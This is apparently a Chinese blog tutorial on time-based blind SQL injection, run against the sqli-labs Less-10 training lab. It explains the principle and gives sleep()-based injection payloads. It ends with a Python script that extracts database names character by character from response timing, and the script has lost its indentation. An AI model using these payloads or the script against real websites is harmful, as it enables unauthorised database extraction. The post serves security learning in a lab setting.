简介:文章分为三部分:1、概要;2、详细的思维导图;3、详细的解说。
描述:概要包括该文介绍的知识点;详细的思维导图更好地理清思路,方便记忆,但对于有些对于作者比较基础的内容不会有详细的解释,建议主动了解;详细的解说作者会根据思维导图的纲要添加代码语句等内容,有时间会添加具体操作,具体步骤,操作结果等内容,添加需要注意的Tips(蓝色字体怎样)。
前面的话:操作学习的环境----Linux环境+docker+sqli-labs。环境配置请看:第一章:SQL注入基础--1.1Web应用架构分析&1.2 SQLi注入环境搭建或私信我亲测有效的资源给你。
Tips:这些都是作者学习过的内容,文字、思维导图等都是一双手,后续会连载这系列以及丰富流程说明,欢迎沟通交流、留言,觉得必要的也可收藏关注
1、概要:
3.2 SQL盲注-时间注入
时间盲注原理
时间盲注方法
构造python脚本自动打印数据库信息(结尾附上源码)
2、详细的思维导图:
3.2 SQL盲注-时间注入
时间盲注原理
代码存在SQL注入漏洞然而页面即不会回显数据,也不会回显错误信息语句执行后也不提示真假,我们不能通过页面的内容来进行判断
这里我们可以通过构造语句,通过页面响应的时长,来判断信息,这既是时间盲注!
时间盲注方法(可利用sqli-labs:Less-10演练,环境部属请看:第一章:SQL注入基础--1.1Web应用架构分析&1.2 SQLi注入环境搭建)
构造逻辑语句,通过条件语句进行判断,为真则立即执行,否则延时执行
核心语法:if(left(user(),1)='a',0,sleep(5));
真实场景:if(ascii(substr(database(),1,1))>115,0,sleep(5))
构造python脚本自动打印数据库信息(掌握前面我连载的SQL注入博客的小伙伴,相信利用这个代码可举一反三,逍遥快活很多自动attack手段了)
#!/usr/bin/env python
#-*- coding:utf-8 -*-
import requests
import time
url = 'http://192.168.100.57/Less-10/?id=1'
database = 'select schema_name from information_schema.schemata'
tables = 'select table_name from information_schema.tables where table_schema=database()'
column = 'select column_name from information_schema.columns where table_name="table_name"'
result = ''
for i in range(1,30):
for j in range(48,122):
payload = '"and if(ascii(substr(({} limit 0,1),{},1))={},sleep(2),1)--+'.format(database,i,j)
stime =time.time()
r = requests.get(url+payload)
etime = time.time()
if etime-stime >=2:
result += chr(j)
print (result)
break